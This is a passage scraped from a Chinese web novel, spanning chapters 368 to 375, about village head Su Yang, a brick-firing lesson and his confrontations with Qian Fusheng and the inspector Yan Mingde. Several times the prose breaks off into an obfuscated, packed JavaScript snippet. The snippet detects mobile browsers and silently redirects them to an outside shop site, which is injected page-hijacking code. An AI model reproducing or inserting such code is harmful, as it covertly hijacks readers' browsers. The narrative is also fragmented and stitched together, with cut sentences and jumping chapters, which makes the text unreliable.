尤其这小丫头话里透着的那股劲儿,生怕他不让她们继续教书了。 这其中,必有蹊跷! “咳咳。” 苏阳故意咳嗽两声,身子往后一仰,摆出一副“老爷”的架势。 他决定好好“敲打敲打”这两个丫头,探探她们的底,看看她们是不是真心喜欢上了教书这份差事。 “话说,最近村里事儿多,本村正忙得是脚不沾地,浑身都不得劲儿。” 苏阳顿了顿,故意把话锋一转, “小翠环啊,我听人说,你有一手推拿的绝活?” “你要是能让本村正舒坦舒坦,我就发发善心,让你们继续留在书院,怎么样?” “哼,小公子!” 翠环小嘴一撅,鼻子都快翘到天上去了, “谁跟你说我会推拿了?身为一介侍女,哪儿学得会那些金贵玩意儿?” 她一边说着,一边拿眼角余光瞟向钱晓柔, “我们家小姐那才叫真本事呢!你可别有眼不识金镶玉!” 说着,翠环还刻意挺了挺胸脯,活像一只骄傲的小孔雀。 苏阳被她这副模样逗乐了,但转念一想,这大元朝对手艺的看重程度,可不是闹着玩的。 想当初,他刚到这儿的时候,还以为这儿的推拿跟足疗店里的一样呢。 直到见识了钱福生的本事,他才算是开了眼。 这哪是推拿啊,简直就是神仙手段! 那些个腰酸背痛的村民,到了钱福生手里,三下五除二就给治好了。 他这才明白,自己以前的想法,错得有多离谱。 钱福生那样的,才叫真本事。 翠环一个小丫鬟,没名没分的,钱福生怎么可能把看家本领教给她? 除非钱福生脑子进水了。 想到这里,苏阳的目光,不由自主地就落在了钱晓柔的身上。 钱晓柔被他这么一看,顿时感觉浑身不自在,像是被针扎了似的,坐也不是,站也不是。 “那个……苏大哥,你要是……要是觉得累……我……帮你揉揉?” 话一出口,钱晓柔自己都愣住了。 她也不知道自己是咋回事,鬼使神差地就站了起来,磨磨蹭蹭地挪到了苏阳身后。 然后,在翠环惊讶的目光中,钱晓柔抬起双手,轻轻地搭在了苏阳的肩膀上。 这下,翠环彻底傻眼了。 她张大了嘴巴,半天没合拢,心里头像是打翻了调料铺,五味杂陈。 “小姐,你……” 她想说点什么,可话到嘴边,又硬生生地咽了回去。 “算了,按就按吧……” 翠环在心里安慰自己, “反正……反正之前也……” 她没敢继续往下想,只是眼神变得有些闪烁。 苏阳这会儿可没心思琢磨这俩丫头的小心思,他正全身心地享受着钱晓柔的“服务”呢。 还别说,真挺舒服的。 钱晓柔的手法,轻柔中带着一丝独特的韵律,虽然力道稍显不足,但穴位却拿捏得恰到好处。 苏阳只觉得一股暖流,从肩膀处缓缓流遍全身,说不出的舒坦。 他舒服地闭上眼睛,感觉这几天来的疲惫,都烟消苏散了。 就在这时,一股淡淡的幽香,若有若无地钻进了苏阳的鼻子里。 这香味,不同于他记忆中任何一种香水的味道。 它更像是一种……一种自然的体香,清新淡雅,沁人心脾。 这味道,是从钱晓柔身上传来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717470|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏阳有些好奇,又有些疑惑。 他忍不住深吸了一口气,想要捕捉到更多的香味。 就在苏阳沉浸在这种舒适和惬意中的时候,门口突然传来一声怒吼: “你们在干什么?!” 来人正是钱晓柔的老爹,钱福生。 他站在门口,眼睛瞪得溜圆,死死地盯着屋里的情形,脸色铁青。 钱福生做梦都想不到,自己竟然会看到这样一幕。 他看到了什么? 他的宝贝闺女,竟然在给苏阳那个臭小子捏肩膀! 这……这简直就是…… 钱福生气得浑身发抖,差点没背过气去。 他用力揉了揉眼睛,以为自己是老眼昏花了。 可不管他怎么揉,眼前的一幕都没有任何改变。 正端坐于座椅之上,一脸享受的,就是苏阳! 那个正给他捏肩膀的,就是自己的宝贝闺女,钱晓柔! “爹……” 钱晓柔被这突如其来的一声吼,吓得手一哆嗦,差点没把苏阳的骨头给捏碎了。 她猛地回过神来,这才意识到,自己竟然在给苏阳捏肩膀! “我……我……” 钱晓柔的脸“唰”地一下就红了,像是熟透了的苹果。 她慌乱地低下头,恨不得找个地缝钻进去。 “小姐,你……你们……” 翠环也吓坏了,结结巴巴地说不出话来,但目光中却闪过一丝复杂。 “翠环,你别瞎说!” 钱晓柔又羞又恼,她瞪了翠环一眼,跺了跺脚,转身就跑。 “小姐!小姐你等等我!” 翠环回过神来,连忙追了上去。 她现在脑子里乱哄哄的,既担心钱福生责罚,又担心自家小姐。 “苏二!你个混账东西,竟敢欺负我闺女,老子跟你没完!” 钱福生怒吼一声,像一头暴怒的雄狮,朝着苏阳就扑了过去。 他现在满脑子都是自家闺女受了委屈的画面,哪还顾得上什么理智? 苏阳正享受着呢,突然被人打断,心情自然好不到哪儿去。 他猛地睁开眼睛,眼中闪过一丝不悦。 就算你是钱晓柔的老爹,也不能平白无故坏人好事! 钱福生气势汹汹地冲到苏阳面前,还没来得及动手,就突然停了下来。 第三百六十八章 他感觉自己像是被施了定身法,动弹不得。钱福生感觉胸口一凉。 低头,一把虎头弯刀,刀尖闪着幽幽寒光,堪堪停在他胸前。 再往前一步,不用想,肯定会被扎个透心凉。 苏阳这家伙,可不是什么善茬。 钱福生额头瞬间冒出冷汗,双腿像灌了铅,再也挪不动半分。 “钱掌柜,你现在可以撤了。” 这声音…… 钱福生听着,竟有些如释重负。 “哦,哦……” 下意识应了两声,钱福生转身就走。 脚步虚浮,只想快点离开这是非之地。 得回去,得赶紧回去找宝贝闺女好好说道说道。 可不能再跟苏二这小子走太近了,这小子一肚子坏水! 刚想到这,钱福生一只脚都踏出门槛了。 苏阳的声音又慢悠悠的飘了过来: “钱掌柜,我说的回去,是回清阳县。” “啊?” 这一嗓子,吓得钱福生一个激灵。 刚踏出去的脚,硬生生悬在了半空。 整个人僵在那里,活像被人施了定身法。 “苏……巡检,您……您这是啥意思?我……我能回哪儿去?” 钱福生结结巴巴,话都说不利索了。 “没听错,你现在,立刻,马上,就可以启程回清阳县了。” 苏阳的声音,冷冰冰的,听不出喜怒。 像一把小刀,一下下戳在钱福生的心窝子上。 “那……那我闺女呢?晓柔咋办?” 钱福生急了,声音都变了调。 闺女还在这狼窝里呢,他咋能一个人回去? “我说过,你可以走了。至于令爱……” 苏阳斜睨了钱福生一眼, “她,得留下。” “不行!这绝对不行!我不走,你就是打死我也不走!我要看着我闺女……” 钱福生急眼了,一蹦老高,像只被踩了尾巴的野猫。 开玩笑,把闺女一个人扔这虎狼窝? 这跟羊入虎口有啥区别? 不行,说什么也不行! “钱掌柜,我只说这一次。” 苏阳的声音沉了下来, “你,现在,可以走了。当然,你要是不想走,我也不是不能‘送’你走。” “你……你小子敢!” 钱福生气得浑身发抖,却又毫无办法。 他算是看出来了,苏阳这小子,是真敢。 “苏巡检,您行行好,不能这么干啊!要不,您让我带走晓柔,要不……要不我就留在青龙村,我保证哪儿也不去!” 钱福生还想再争取一下,只是话还没说完,就被苏阳堵了回去。 “没得商量,这事儿就这么定了。” 苏阳不容置疑, “旭东,你带几个人,送钱掌柜回清阳县,顺道去采买些过年的东西……” “得嘞!” 路旭东早就带着几个精壮的小子,候在一旁。 听了苏阳的吩咐,几个人也不废话,直接就冲了上来。 “别,别,苏巡检,您不能这样……苏二,你个天杀的,你敢动我一下试试……晓柔,闺女,快救救爹啊……” 钱福生的喊声,带着哭腔,那叫一个凄惨。 路旭东嫌他吵闹,从地上捡起一块不知道啥时候掉的破抹布,直接塞进了他的嘴里。 钱福生的声音戛然而止,只剩下“呜呜”的闷哼。 几个人可不管那么多,架起钱福生就往外拖,那叫一个干脆利落。 一直拖到院子外,才把人往一辆早就套好的马车上一扔。 “驾!” 马夫一甩鞭子,马车飞奔而去。 只留下钱福生那“呜呜”的,渐渐远去的动静,消失在青龙村外的夜色中。 …… 为啥苏阳这么急着把钱福生撵走? 还真不是怕他打扰自己和钱晓柔培养感情。 说白了,钱福生留在青龙村,已经没啥大用了。 留着,指不定还会留出啥矛盾来。 这么一个护犊子的老丈人,整天在眼皮子底下转悠。 苏阳还真有点担心,哪天被他给黑了。 当然,这些都不是重点。 最主要的,是苏阳怕钱福生坏了自己的好事。 钱晓柔和小翠环,刚对教书这事儿提起了点兴趣。 这要是让钱福生给搅和了,那可真是没地儿说理去。 大元朝读书人是不少,可问题是,苏阳这身份,青龙村这地方。 想请个正儿八经的先生来? 做梦! 能读得起书,竟然还能看出些门道来,家里能穷的了? 穷苦人家,哪有闲钱养一个光读书不干活的? 苏阳可不像后世电视剧里演的那样,动不动就整个穷书生出来。反正到了大元朝,他是没见过。 有钱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦?烧个砖还能惹麻烦?这是什么道理?”苏阳更好奇了。 几个窑匠交换了一下眼神,似乎有些顾虑。 第三百六十九章 最后,还是那个老窑匠开口解释: “西家,您想想,这红砖烧出来,盖的房子,那不就是红色的?咱们平头老百姓,住红房子,这……这不合适啊!” 苏阳一听就明白了,这是怕“僭越”。 这年头,规矩多,讲究也多。 可不像后世,想怎么干就怎么干。 “那这青砖和红砖,到底是怎么烧出来的?我看用的都是一样的土坯啊。”苏阳指着地上的砖坯问道。 他不打算继续纠结“僭越”的问题,转而对技术细节更感兴趣。 老窑匠见苏阳没有追问,也松了口气,连忙解释道: “西家您看,这青砖和红砖,其实用的都是一样的泥坯。关键就在于,烧完之后,怎么让它凉下来。” “怎么说?”苏阳追问。 “开窑之后,如果直接让它自然风干,烧出来的,多数就是红砖。要是从窑顶上浇水下去,让它快速冷却,那出来的,就是青砖了。” 老窑匠一边说,一边用手比划着。 苏阳听得连连点头,原来如此。 “那你们说,这红砖和青砖,哪个更结实耐用?”苏阳又问道。 几个窑匠几乎异口同声:“当然是青砖!” “这又是为什么呢?” 苏阳打破砂锅问到底。 “西家,这您就不懂了,”另一个窑匠插嘴道,“这浇了水的青砖,就跟淬了火的铁一样,更硬更结实!” “原来如此,受教了!”苏阳拱了拱手。 他心里琢磨着,看来这烧砖,还真有不少门道。 这时,孔远山凑了过来,一脸困惑: “西家,小的还是不明白,都是一样的泥巴,为啥浇了水就变青了,不用水降温就变成红色了呢?” 苏阳看着孔远山,笑了笑,没有直接回答,而是反问道: “远山,你说,铁匠打铁的时候,为啥要把烧红的铁放进水里?” 孔远山挠了挠头, “这……小的还真不知道,大概……是为了让铁更硬?” 苏阳点点头, “差不多,不过这其中的道理,一时半会儿也说不清。这样吧,等以后有机会,咱们找个铁匠,好好问问。” 他心里清楚,这涉及到一些化学反应,跟孔远山解释,他也未必能懂。 还是等以后再说吧。“阳哥儿,要不您给大伙儿说说,这红砖和青砖到底有啥讲究?” 孔远山挠着后脑勺,咧嘴一笑,露出两排参差不齐的牙齿。为了掩饰尴尬,还习惯性地搓了搓手。 可他心里头,早把自己骂了个狗血淋头。 真是嘴贱! 早知道苏阳要考校大家伙儿,他说什么也不出这个头! 现在好了,赶鸭子上架,下不来台了。 还不如跟路旭东换换,去清阳县送钱福生那个惹祸精呢。 说起路旭东,孔远山就气不打一处来。 那小子,平时就爱显摆,有事没事就喜欢在自己面前嘚瑟。 每回都抢着出风头。 今儿倒好,自个儿跑得没影了! 也不知道那小子抽的什么风,昨天就颠儿颠儿地去了清阳县,这都一天一夜了,连个信儿都没有。 平时不是挺能耐的吗? 有本事你回来啊! 正当孔远山腹诽不已,一抬头,发现其他几个小子,也都直勾勾地盯着他。 那眼神,幽怨中透着凶狠,仿佛一群饿狼,要把他生吞活剥了似的。 孔远山脖子一缩,心头火气更盛。 可他不敢发作,只能在心里头暗骂: “瞅什么瞅?又不是老子不让你们答!阳哥儿问的是你们,一个个瞪着**啥?” “有本事你们倒是回话啊!” 心里骂归骂,可孔远山一个字也不敢往外蹦。 开玩笑,没见阳哥儿的脸都黑了吗。 这时候谁出头,谁就是棒槌! 不光孔远山,其他小子也都傻了眼。 你推我搡,没一个敢上前。 几个窑匠更是吓得脸色煞白,汗珠子噼里啪啦往下掉,像是刚从水里捞出来似的。 关于这位西家的传闻,他们耳朵都快听出茧子了。 据说这位爷,别的爱好没有,就喜欢拿些稀奇古怪的问题考校人。 答不上来? 轻则扣工钱,重则家法伺候! 窑匠们一个个哭丧着脸,心里七上八下。 他们虽说伺候窑火大半辈子,可谁又真正琢磨过,为啥这么烧出来的是红砖,那么烧出来的却是青砖? 老祖宗传下来的手艺,还能有错? 照着做就是了! 来看头窑砖的人可真不少。 除了苏阳和他的心腹们,还有不少打砖坯的帮工。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁要是有兴趣,可以回去好好琢磨琢磨。 第三百七十章 要是还有什么不明白的,尽管来问我。” 话音刚落,孔远山就跟打了鸡血似的,嗷一嗓子跳了出来。 “阳哥儿,您就擎好吧!俺们保证一个字儿不落,全给您记在心里!” 孔远山拍着胸脯,那叫一个信誓旦旦。 “您说的话,那可都是金科玉律,比金子还金贵!” “谁要是敢不用心听,俺孔远山第一个不答应!” “对!谁要是敢把阳哥儿教的东西瞎传,俺四獠子饶不了他!” “算俺林韧一个!谁要是敢对不起阳哥儿,俺就跟他玩命!” “……” 几个村正吓得一激灵,差点没尿了裤子。 他们偷偷交换着眼神,心里直犯嘀咕: 这苏二的手下,咋都跟土匪似的? 动不动就要打要杀,这得是沾过多少人命啊? 苏阳哭笑不得地看着这帮“忠心耿耿”的手下。 他算是明白了,这帮小子是被自己给“吓”着了。 生怕自己说出什么了不得的秘诀,被别人偷学了去。 “都消停点!” 苏阳无奈地摆了摆手: “没你们想的那么邪乎!我今天说的这些,谁爱听谁听,谁爱传谁传,没那么多说道!” 他顿了顿,继续说道: “这砖坯里头啊,含有铁元素。烧制的时候,要是让它慢慢冷却,铁元素就能和空气充分结合,生成红色的物质。” 苏阳尽量用最简单的话来解释。 “要是浇上水,窑里就会充满水蒸气,铁元素和空气接触的机会就少了,烧出来的砖,自然就变成了青色。” 苏阳这一番解释,深入浅出。 可一圈看下来,发现多数人还是一脸懵。 看来,想让这帮家伙彻底弄明白,不是一朝一夕的事。 倒是凌木匠,听得频频点头,一副恍然大悟的样子。 苏阳说的没错,金属是岩石中提炼而成,这土胚中含着金属,不是很正常吗? 至于其他人,虽然没听懂具体原理,倒也记住了个大概: 刚烧好的砖,透气多就变红,水汽多就变青,而且砖里头有铁。 苏阳暗自叹了口气。 看来,自己还是任重而道远啊! 要想让这帮人彻底开窍,还得慢慢来。 几个老村正面面相觑,脸上的表情那叫一个精彩。 原本的怀疑和嘲讽,早已消失得无影无踪。 取而代之的,是一种难以言喻的复杂情绪。 难道这小子,真是像那些泥腿子说的那样,是济富童子转世? 要不然,他怎么会知道这么多稀奇古怪的东西? 苏阳刚想再说几句,总结一下青砖和红砖的优劣。 就在这时,一个卫村队员急匆匆地跑了过来,打断了苏阳的话。 “村正,村正,出事了!” 卫村队员跑得上气不接下气,脸憋得通红: “之前来过的那两个三溪镇的差役又来了!说是严巡检那边出了急事,让您赶紧过去一趟!”“村正,人带来了。” 两个身穿皂隶服色的汉子被推到苏阳面前。两人一个激灵,扑通跪倒,头磕得像捣蒜: “小的见过村正老爷。” 苏阳也不废话,直接问道:“严巡检找我何事?” “是……是,”其中一个差役抬起头,小心翼翼地觑着苏阳的脸色,“严巡检请村正老爷去三溪镇一叙。” 另一个赶紧补充:“小的们奉命前来,恭请村正老爷移步。” 两人说完,偷偷对视一眼,都从对方眼中看到了一丝疑惑。他俩也不清楚自家巡检葫芦里卖的什么药,只是奉命行事,哪敢多问? “清阳县来人了?”苏阳手指在桌上轻敲,语气平淡。 “是……是。”两个差役忙不迭地点头。 其中一个大着胆子,压低声音说:“听说是……清阳县郑县尉的人。” 郑县尉? 苏阳心中一动,这名字有点耳熟。 他微微眯起眼睛,脑海中闪过严明德那张油腻的脸。那胖子之前好像提过一嘴,说是三溪镇的靠山就是这位郑县尉,有他在,没人敢动三溪镇分毫。 “行,我知道了。”苏阳缓缓起身,理了理衣襟,“你们先回去,就说我……随后就到。” 两个差役领命而去,一路小跑。 苏阳负手站在窗前,眉头紧锁。 这事,处处透着古怪。 严明德找他,还跟郑县尉有关?莫非…… 他突然想起,上次为了感谢严明德,自己让人送了条野猪腿过去,还特意嘱咐他,让他分点给郑县尉。 难道是郑县尉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一群没用的东西!连个乡下土财主都请不来,老子养你们有什么用? 第三百七十一章 !” 严明德指着跪在地上的两个差役,破口大骂。 两个差役把头埋得更低,大气都不敢出。心中暗暗叫苦:明明是你自己没把话说清楚,怎么反倒怪起我们来了? 严明德发泄了一通怒火,胸口剧烈起伏,总算勉强冷静下来。 他揉了揉发胀的太阳穴,再次派人去请苏阳。 这一次,他改变了策略。 “告诉苏阳,就说上次他送的野猪腿,我送给郑县尉了。郑县尉很喜欢,想请他去清阳县,当面致谢。” 严明德顿了顿,又补充道: “再告诉他,郑县尉说了,想跟他谈一笔大买卖!” 他就不信,苏阳能抵挡住“大买卖”的诱惑! 两个差役领命而去,心里却直打鼓。 这回,能把那位爷请来吗? …… “当面致谢?大买卖?” 苏阳听了差役的回话,忍不住冷笑。 这严明德,还真是不到黄河不死心。为了请自己,连这种谎话都编出来了。 别说他一个小小的巡检,就是郑县尉亲至,苏阳想不想见也得看心情! 不过,这也让苏阳更加确定,严明德肯定有事相求,而且这事,八成和那位郑县尉脱不了干系。 既然如此,那就更不能去了。敌暗我明,贸然前去,万一中了圈套怎么办? “你们回去吧。” 苏阳随手从筐里拿出一条腊肉,扔给两个差役: “告诉严巡检,我这阵子忙得很,没空去清阳县。这条腊肉,就当是我孝敬郑县尉的。” 他故意把“野猪腿”说成“腊肉”,就是要看看严明德的反应。 两个差役接过腊肉,面面相觑,不知道该说什么好。 “村正老爷,严巡检说了,让您务必亲自去一趟……”其中一人还想垂死挣扎。 “务必?”苏阳冷哼一声,“他严明德算老几?我凭什么听他的?” “这……”两个差役被怼得哑口无言,冷汗直流。 “滚吧!”苏阳不耐烦地挥了挥手。 两个差役如蒙大赦,连滚带爬地离开了青龙村。 …… “二哥,你真不去啊?”陈木生凑到苏阳身边,低声问道,眼中闪过一丝担忧。 他有点担心,万一严明德真有什么诡计,二哥不去,岂不是要吃亏? 苏阳瞥了陈木生一眼,没有说话,只是摇了摇头。 一旁的孔远山却急了,抢着说道:“石头哥,你傻啊!阳哥儿这么做,肯定有他的道理!” 孔远山最近一直在努力表现,希望能得到苏阳的赏识。可惜,总是抓不住重点,马屁拍到马腿上。 “哦?什么道理?”苏阳饶有兴致地看着孔远山。 他倒要看看,这小子能说出个什么道道来。 孔远山被苏阳看得心里发慌,额头上冒出细密的汗珠,硬着头皮说道:“阳哥儿肯定是在……在欲擒故纵!” “哈哈……”苏阳忍不住笑了出来,“你小子,倒也猜对了几分。” 虽然孔远山说得不全对,但也沾了点边。 孔远山被苏阳夸了一句,顿时喜笑颜开,腰杆都挺直了几分。 其他小子见状,都露出了羡慕的神色。 路旭东则是一副若有所思的样子,眉头紧锁。自从他上次去清阳县,就变得沉默寡言。 他给苏阳带回了符大娘子的信,信中说符福伤势大好,可以出摊了,还想再买些蒸馒头的“秘药”。 可苏阳总觉得这封信透着古怪,信纸上那些褶皱,像是被水浸过,莫非符大娘子写信的时候哭了? 可这平白无故的,哭什么? 莫非是想他了? 苏阳自嘲地摇了摇头。他可没有招惹良家妇女的癖好。 至于回信,还是算了吧,免得惹麻烦。回头让人捎些碱面过去就是了。 …… “都别愣着了,跟我走!”苏阳大手一挥,带着一群小子,浩浩荡荡地朝三溪镇进发。 “二哥,咱们这是去哪儿?”陈木生忍不住问道。 “去了就知道了。”苏阳故作神秘地笑了笑,加快了脚步。 先虚后实,真真假假。 他就是要让严明德摸不着头脑,乱了阵脚。 这次,他带了六十个小子,几乎是全村出动。 沿着卧龙沟,没多久就到了三溪镇外。 为了避免打草惊蛇,苏阳让众人分批进镇,先到眼煞豹的赌馆集合。 “石头,你带第一队,先进去摸摸情况。”苏阳对陈木生吩咐道。 “好嘞!”陈木生二话不说,一招手,带着几个精干的小子就进了镇子,身手矫捷,一看就是练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731756|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家子。年关将至,三溪镇一派热闹景象。 集市上,人头攒动,熙熙攘攘。 小贩的叫卖声、妇人的讨价还价声混成一片,奏响了一曲独属于新年的乐章。 辛劳了一整年的人们,纷纷走出家门,忙着采购年货。 手里稍有余钱的,还会趁着过年做些小本买卖,补贴家用,指望着来年能过得更好。 一支与周遭格格不入的队伍,混在人群中,若隐若现。 他们有的扛着长杆,有的提着竹竿,有的背着鼓鼓囊囊的麻袋,鼓囊囊的,不知道里面装着什么。 乍一看,像是进城赶集的乡下人。 可仔细观察,却能发现他们眉宇间透出的那股子彪悍劲儿,绝非寻常百姓可比。 这群人,正是苏阳的手下。 为首的苏阳,神色自若,大步流星,丝毫没有大战在即的紧张。 “二哥,咱就这么大摇大摆地进去?” 陈木生紧挨着苏阳,压低声音问道,眉毛拧成了一个疙瘩。 “不然呢?莫非还要咱们乔装改扮一番?” 苏阳斜睨了他一眼,语气里带着一丝戏谑。 陈木生挠挠头,嘿嘿一笑,没再吭声。 “石头,”苏阳突然停下脚步,眼神示意,“你带几个机灵的,先进镇子,摸摸情况,尤其注意巡检司那边的动静。” “得嘞!” 陈木生心领神会,应了一声,点了几个精壮的小子,转身混入熙攘的人群,很快便不见了踪影。 苏阳没有急着进镇,他带着剩下的人,在镇外的一处僻静的土坡后头暂时歇脚。 这里视野开阔,能将进出镇子的动静一览无余。 等待的时间,每一分每一秒都显得格外漫长。 “阳哥儿,有几十号土兵从巡检司出来了!” 没过多久,孔远山急匆匆地跑来汇报,脸上的汗珠子都来不及擦。 一听这话,众人直呼好家伙,下意识地握紧了手中的家伙什。 新来的那些,或许还懵懵懂懂,不明所以。 可那些跟着苏阳一路走来,见过血、经历过生死的老人们,却已经嗅到了一丝不同寻常的味道,那是大战将至的肃杀。 “二哥,这姓曹的居心叵测!” 陈木生咬牙切齿,眼珠子里都快冒出火来,拳头捏得咯咯作响。 第三百七十二章 “阳哥儿,你可不能去啊,姓曹的肯定在巡检司里头设了埋伏!” “是啊,阳哥儿,犯不着跟他硬碰硬,咱兄弟们一拥而上,直接结果了他!” “对,犯不着为了一个狗官冒险!” …… 众人七嘴八舌,群情激奋,纷纷劝阻苏阳。 苏阳缓缓抬起手,示意众人安静。 空气仿佛凝固了一般,所有人的目光都集中在了他的身上。 “几十号土兵出来,就能说明姓曹的一定要对咱们不利吗?” 苏阳的声音不大,却清晰地传入了每个人的耳朵里。 他顿了顿,目光扫过一张张写满担忧的脸,接着说道: “不过,多留个心眼没错。姓曹的葫芦里到底卖的什么药,还得我去巡检司走一遭才能弄清楚。” “啊?” 众人惊愕地张大了嘴巴,仿佛听到了什么不可思议的事情。 明知山有虎,偏向虎山行? 这不是往火坑里跳,羊入虎口吗? “二哥,你是不是……是不是有点太托大了?”陈木生结结巴巴地问道,脸上写满了难以置信。 “我知道你们担心什么。” 苏阳微微一笑,嘴角勾起一抹自信的弧度, “可现在,还不是和官府撕破脸的时候。我必须弄清楚,姓曹的到底想干什么,必须了解敌我,稳赢不亏。” 他并非一时冲动,更不是鲁莽行事,而是有着自己的考量。 郑县尉前阵子才示好,又是送礼又是拉拢的,没道理这么快就翻脸不认人。 这里头,肯定有什么误会,或者有什么**的隐情。 当然,小心驶得万年船,该有的防备不能少。 但也不能自己吓自己,真要是因为一点风吹草动就和官府彻底闹翻,那就得不偿失了。 苏阳敢只身前往巡检司,也是有底气的。 三溪镇的那些土兵,都是些什么货色,他一清二楚。 平日里欺负欺负老百姓还行,真要动起手来,根本不够看。 就算严明德再怎么折腾,也不可能在短短几天之内,就把一群软脚虾练成铁军。 况且,他这次来,就是要打严明德一个措手不及。 在绝对的实力面前,一切阴谋诡计都是纸老虎。 他倒要看看,严明德能玩出什么花样来! 苏阳深吸一口气,带着几个精挑细选的小子,大步流星地进了镇子。 一行人直奔巡检司而去,脚步声在寂静的街道上回荡。 赌馆那边,苏阳早就安排好了人手接应。 自从眼煞豹那些人横死之后,赌馆就成了三溪镇百姓避之不及的禁地。 平日里,没人敢靠近,更别提有人敢霸占了。 现在,那里成了苏阳手下在三溪镇的据点,也是他们最后的退路。 巡检司内外,也早已布满了苏阳的人。 每一个角落,都在苏阳的掌控之中,三百六十度无死角。 陈木生又里里外外仔细检查了一遍,检查无遗漏,这才稍稍放下心来,示意苏阳可以行动了。 巡检司里,一众差役衙兵一见苏阳,纷纷点头哈腰,大气都不敢喘。 这位爷可是个狠角色,**不眨眼,谁敢惹他? 在他们心里,苏阳就是黑判官,谁见了都得绕着走。 苏阳目不斜视,径直往里走,根本不理会这些人的反应。 他大步流星,直接闯进了严明德的官厅,连个招呼都没打。 “哟,严巡检,这是干嘛呢?地上捡钱呢?” 苏阳一进门,就看到严明德正弯着腰,撅着屁股,在地上摸索着什么。 他定睛一看,地上竟然是一条腊猪腿,看成色,正是他之前送来的。 严明德猛地一抬头,像是见了鬼一样,脸色煞白,手中的腊猪腿“啪嗒”一声又掉在了地上。 “苏……苏老弟,你……你怎么来了?” 严明德结结巴巴地问道,眼神闪烁,不敢直视苏阳的目光。 他做贼心虚,生怕被苏阳看出破绽。 苏阳眯了眯眼,心中冷笑。 这老狐狸,果然有问题! 他送来的腊猪腿,竟然被扔在了地上,可见严明德心里有多慌乱。 “严巡检,你这是什么意思?嫌我送的猪腿不好?” 苏阳明知故问,语气中带着一丝玩味。 “没……没有的事!” 严明德像是被针扎了一样,猛地跳了起来,连连摆手: “苏老弟,你……你误会了,我怎么会嫌弃呢?这猪腿,多好啊,一看就是上好的土猪肉,油光水滑的,一看就好吃……” 严明德语无伦次地解释着,额头上都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏阳话锋一转,突然说道: “曹老哥,既然是去拜年,那总得准备点礼物吧? 第三百七十五章 严明德吓得魂飞魄散,一股凉气从尾椎骨直窜天灵盖,他甚至能感觉到自己的头发都竖起来了。 苏阳用刀背在严明德的脸上轻轻拍了拍,语气冰冷:“别以为我不知道你打的什么主意。郑县尉派郑掌柜来拉拢我,你觉得我会蠢到转头就去威胁他?动动你的猪脑子想想!” 严明德的脸色一阵青一阵白,嘴唇哆嗦着,却一个字也说不出来。 他忽然意识到,或许从一开始,自己就搞错了。 如果……如果那封信真的不是苏阳写的,苏阳也根本没想过要当什么巡检,那自己……岂不是成了被人利用的棋子? 可……那封信到底是谁写的? “那、那……你说,信不是你写的,你……你拿什么证明?”严明德的声音里带着一丝不确定,他还是不敢完全相信苏阳。 苏阳冷笑一声:“证明?简单得很。我当场写几个字,你拿去给郑县尉,让他比对笔迹,真假立辨。” 严明德想了想,目前似乎也没有更好的办法。 “好……你写。” 苏阳却两手一摊:“我没带纸笔。” 严明德差点一口老血喷出来,他强压下心头的怒火,咬牙切齿地说道:“我……我是被你绑来的!哪来的纸笔给你?” “哎呀,这好办,”苏阳笑眯眯地拍了拍严明德的肩膀,“曹兄别急,等会儿进城,找个地方写就是。顺便,也让我见见我的‘好侄儿’。” “侄儿?”严明德心头一跳,瞬间明白过来,苏阳说的“侄儿”,就是他自己的儿子! 这个小王八蛋,果然是冲着自己家人来的! 严明德的脸色瞬间变得惨白,他强作镇定,干笑道:“苏、苏老弟,你……你在城里,还有亲戚?” 苏阳脸上的笑容越发灿烂:“当然,咱俩可是一起扛过枪的,你的儿子,不就是我的侄儿吗?” 